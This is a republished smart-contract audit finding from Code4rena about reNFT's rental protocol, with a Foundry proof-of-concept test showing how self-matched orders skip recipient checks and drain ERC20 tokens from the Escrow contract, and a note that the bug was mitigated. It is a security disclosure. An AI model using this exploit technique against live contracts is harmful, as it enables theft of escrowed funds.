Skip to content
Business logic Audit finding Advanced

Escrow contract can be drained by creating rentals that bypass execution invariant checks

The Create contract's execution invariant checks could be bypassed by crafting a rental order where all offers and considerations are from the same address, resulting in zero executions and no recipient checks. An attacker could then stop the fake rental to drain ERC20 tokens from the Escrow contract.

juancito Follow

Originally disclosed on Code4rena

Submitted by juancito, also found by DeFiHackLabs (1, 2, 3)

https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L540-L544

https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L695

The Escrow contract where ERC20 tokens are escrowed for payments can be completely drained.

Proof of Concept

It is possible to create rentals where no assets are transfered, but storage is still updated as normal. Then these fake rentals can be stopped to drain ERC20 tokens from the Escrow contract.

The Create contract checks the expected receivers of ERC20 tokens and NFTs via _executionInvariantChecks().

This is to make sure that ERC20 tokens go to the Escrow contract, while NFTs go to the corresponding Safe wallet.

The key point of the attack is to fulfill an order, so that the executions length is zero and no execution is checked.

This is possible by making the offerer fulfill all the considerations within the same address of the offers.

I’m assuming this is because of point 9 in the Match Orders section of SeaPort Docs. Nevertheless, since SeaPort was forked, the coded POC still shows how the attack is possible.

  1. Perform transfers as part of each execution
  2. Ignore each execution where `to == from``

To put it in an example:

  1. Carol signs a normal PAY rental order with an NFT + ERC20 tokens as an offer
  2. Carol signs the malicious PAYEE counterpart order setting the recipient as her address (instead of the Safe for the NFT, and the ESCRW for the ERC20 tokens)
  3. Carol matches those orders via the forked SeaPort
  4. SeaPort calculates the totalExecutions, and since all offers and considerations are from the same address, there are no executions, as there will be no transfers
  5. Both the PAY & PAYEE ordered are fulfilled and call Create::validateOrder()
  6. No recipient checks are performed, since there are no executions
  7. The STORE storage will add the new rental for Carol, while increasing the deposit amount in the Escrow
  8. SeaPort ends the order matching and fulfillment without performing any transfer
  9. The rent can be stopped and it will drain the Escrow contract of any token + amount specified in the fake rent

The following POC proves how this is still possible with the forked SeaPort version and the current contracts.

Note: For the sake of simplicity this POC:

  • It deals some ERC20 tokens to the Escrow contract to be stolen (instead of simulating another legit rental). It doesn’t affect the outcome, as the tokens are stolen, regardless of whom they “belong to”.
  • It uses a fixture carol.safe = SafeL2(payable(carol.addr)); just to make an ad-hoc replacement for the ERC721 consideration recipient in the PAYEE order creation, and make the POC shorter. It is reset right after createOrder() is called.
  • It uses a fixture ESCRW = PaymentEscrow(carol.addr); just to make an ad-hoc replacement for the ERC20 consideration recipient in the PAYEE order creation, and make the POC shorter. It is reset right after createOrder() is called.

Create a new file with this test in smart-contracts/test/integration/Drain.t.sol:

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    Order,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";

import {Errors} from "@src/libraries/Errors.sol";
import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";

import {BaseTest} from "@test/BaseTest.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";

import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Safe} from "@safe-contracts/Safe.sol";

import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol";

contract TestDrain is BaseTest {
    function test_Drain_Escrow() public {
        // create a legit PAY order
        createOrder({
            offerer: carol,
            orderType: OrderType.PAY,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // finalize the pay order creation
        (
            Order memory payOrder,
            bytes32 payOrderHash,
            OrderMetadata memory payOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: carol,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: payOrderMetadata
        });

        // << Malicious order creation below >>

        // fixtures to replace the ERC721 and ERC20 recipients in `createOrder()`

        SafeL2 carolSafe = carol.safe;
        PaymentEscrow tempESCRW = ESCRW;
        carol.safe = SafeL2(payable(carol.addr));
        ESCRW = PaymentEscrow(carol.addr);

        // create a malicious PAYEE order.
        // It will set the ERC721 and ERC20 recipients as Carol herself
        createOrder({
            offerer: carol,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 1,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // reset fixtures
        carol.safe = carolSafe;
        ESCRW = tempESCRW;

        // finalize the pay order creation
        (
            Order memory payeeOrder,
            bytes32 payeeOrderHash,
            OrderMetadata memory payeeOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: carol,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // Verify Carol's balances and the Escrow balance before the rental attack is performed
        assertEq(erc20s[0].balanceOf(carol.addr), uint256(10000));
        assertEq(erc721s[0].ownerOf(0), address(carol.addr));
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));

        // finalize the order pay/payee order fulfillment
        (
            RentalOrder memory payRentalOrder,
            RentalOrder memory payeeRentalOrder
        ) = finalizePayOrderFulfillment();

        // << The first part of the attack was performed >>
        // A new rental was created without any token transfers

        // get the rental order hashes
        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);
        bytes32 payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder);

        // assert that the rental order WAS STORED
        assertEq(STORE.orders(payRentalOrderHash), true);

        // assert that the token IS IN STORAGE
        assertEq(STORE.isRentedOut(address(carol.safe), address(erc721s[0]), 0), true);

        // assert that Carol DID NOT MAKE A PAYMENT (same balance as before)
        assertEq(erc20s[0].balanceOf(carol.addr), uint256(10000));

        // assert that NO PAYMENT WAS MADE to the Escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));

        // assert that a payment was synced ERRONEOUSLY in the escrow contract (as no payment was made)
        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100));

        // assert that the ERC721 IS STILL owned by Carol (it didn't go to the Safe wallet)
        assertEq(erc721s[0].ownerOf(0), address(carol.addr));

        // << The second part of the attack is performed >>

        // speed up in time past the rental expiration
        // it uses the default values, but an attacker would make the expiration as soon as possible
        vm.warp(block.timestamp + 750);

        // Transfer the NFT to the Safe, so that the rent stop succeeds while trying to transfer the NFT back
        vm.prank(carol.addr);
        erc721s[0].safeTransferFrom(carol.addr, address(carol.safe), 0);

        // Deal some tokens to the Escrow to be stolen
        // An attacker would first check the tokens balances of the Escrow contract and craft rents matching them
        deal(address(erc20s[0]), address(ESCRW), 100);
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));

        // stop the rental order
        vm.prank(carol.addr);
        stop.stopRent(payRentalOrder);

        // Carol gets back her NFT, while stealing the ERC20 tokens from the Escrow
        assertEq(erc20s[0].balanceOf(carol.addr), uint256(10100));
        assertEq(erc721s[0].ownerOf(0), address(carol.addr));

        // The Escrow contract was drained
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));
    }
}

Recommended Mitigation Steps

I would suggest to check that the corresponding offers / considerations are actually included in the totalExecutions and completely fulfilled with their corresponding recipients.

Adding some notes for the protocol to understand the attack surface:

There are other scenarios possible not exposed on the POC. For example, fulfilling just the NFT as expected to the safe, and only performing the attack on the ERC20, leaving a totalExecutions length of 1 (the NFT). This can be done with ERC1155 as well.

Another possibility would be to fulfill the orders with multiple other ones, which could generate extra phantom executions.

Also note, that it is possible to evoid fulfilling PAYEE orders via the zone (as noted on another issue I sent).

All that said regarding the current scope, it would also be recommended to give a second look to the forked SeaPort implementation implementing totalExecutions to check if there could be another related attack vector there.

Alec1017 (reNFT) confirmed

reNFT mitigated:

The PR here - Introduces an intermediary transfer on rental creation to ensure assets are not sent to the safe until they have been registered as rented by the protocol.

Status: Mitigation confirmed. Full details in reports from juancito, EV_om and sin1st3r__.


The original report as published on Code4rena, by juancito. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The contract only checks recipients for executions that involve transfers, but an attacker can create a rental with zero executions by making all offers and considerations come from the same address, so no checks are performed.

Impact

An attacker could drain all ERC20 tokens held in the Escrow contract by creating fake rentals and then stopping them.

What the attacker needed

Attacker can create orders on the platform; Attacker can match orders via SeaPort; Escrow holds ERC20 tokens

The fix

The protocol mitigated by introducing an intermediary transfer on rental creation to ensure assets are not sent to the safe until they have been registered as rented.

How it was found

  1. Carol signs a normal PAY rental order with an NFT and ERC20 tokens as an offer.
  2. Carol signs a malicious PAYEE counterpart order setting the recipient as her own address instead of the Safe for the NFT and the Escrow for the ERC20 tokens.
  3. Carol matches those orders via the forked SeaPort.
  4. SeaPort calculates totalExecutions as zero because all offers and considerations are from the same address, so no transfers occur.
  5. Both orders are fulfilled and call Create::validateOrder(), but no recipient checks are performed since there are no executions.
  6. The STORE storage adds the new rental for Carol and increases the deposit amount in the Escrow, even though no payment was made.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The system checks that payments go to the right places only when it sees token transfers happening. An attacker can set up a rental where no tokens actually move, so the checks are skipped, but the system still records the rental as valid. Later, the attacker cancels the rental and the system pays out tokens from its own reserves, draining them.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by juancito

View all

14 more disclosed reports, best first.

More from reNFT

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.